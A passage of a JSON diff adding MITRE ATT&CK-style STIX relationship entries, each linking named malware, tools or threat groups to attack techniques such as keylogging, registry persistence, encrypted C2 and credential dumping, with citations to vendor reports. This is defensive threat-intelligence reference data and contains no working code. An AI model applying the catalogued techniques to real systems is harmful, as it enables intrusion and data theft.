keylogging facility using Windows Keyboard Accelerators.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d4effdd-6d91-473d-aa81-d121f1c77881", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.520Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) uses cmd.exe to run commands for enumerating the host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--121a09bd-f603-4476-a149-a3cba52f268c", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses PowerShell for obfuscation and execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--911c0e63-10bc-4fbd-b7b7-0a9e318bb4f1", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:53.081Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) searches and reads the value of the Windows Update Registry Run key.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Twitoor](https://attack.mitre.org/software/S0302) uses Twitter for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab", + "external_references": [ + { + "source_name": "ESET-Twitoor", + "description": "ESET. (2016, August 24). First Twitter-controlled Android botnet discovered. Retrieved December 22, 2016.", + "url": "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" + } + ], + "modified": "2019-02-01T17:38:06.098Z", + "source_ref": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) contains a custom keylogger.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--78da5fc8-6f66-43a5-8ad4-c9c79b506408", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Janicab](https://attack.mitre.org/software/S0163) used a cron job for persistence on Mac devices.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42", + "external_references": [ + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "relationship_type": "uses", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) downloads additional plug-ins to load on the victim\u2019s machine, including the ability to upgrade and replace its own binary.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2286857e-ad96-4dda-abac-988e8cadda5c", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.779Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses HTTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to deliver files with exploits to initial victims. The group has used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e35a6a79-0ffc-4835-aaf8-e42dd20a7e45", + "external_references": [ + { + "source_name": "Symantec Patchwork", + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-07-11T13:53:05.996Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates and uses a VBScript as part of its persistent execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--acb06172-23a6-4190-a568-63da13491e6e", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.481Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "C2 traffic from [ADVSTORESHELL](https://attack.mitre.org/software/S0045) is encrypted, then encoded with Base64 encoding.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318", + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FakeM](https://attack.mitre.org/software/S0076) C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can provide a remote shell.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--acca43ee-1e88-4d39-a953-7626173a89b2", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies files with certain extensions from USB devices to\na predefined directory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93fc3086-d2c0-4b4d-8a69-278f15176739", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can delete a specified file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) saves information from its keylogging routine as a .zip file in the present working directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses a customized XOR algorithm to encrypt C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7cdf423-5fed-4402-b970-f6cf2d8df2bb", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is capable of taking screen captures.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28d4a66d-2b1f-4662-9e8e-4ba8ff4bcaf0", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) persists via a Launch Agent.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e23f5d88-b734-4f0e-8b6a-db034b7a8555", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.725Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b", + "external_references": [ + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) has the capability to capture screenshots.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7201204c-d21f-4560-a3d1-c75fabacb4c4", + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-05-14T17:10:21.945Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e2baacb-9033-49a9-890a-f48c87ab1531", + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of executing commands via cmd.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) executes [Mimikatz](https://attack.mitre.org/software/S0002) using PowerShell and can also perform pass-the-ticket and use Lazagne for harvesting credentials.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ebe873c-07f5-43a7-a59f-9305f9ec55a5", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.993Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can gather hashed passwords by dumping SAM/SECURITY hive and gathers domain controller hashes from NTDS.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35e6542c-b796-478b-b42d-d5b4ddf511d5", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses the command reg query \u201cHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\InternetSettings\u201d.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bca618ac-7867-4dc4-b683-ae3f61addc68", + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.097Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72cf9e20-cff4-49e2-8ea6-e212d473a8f5", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM 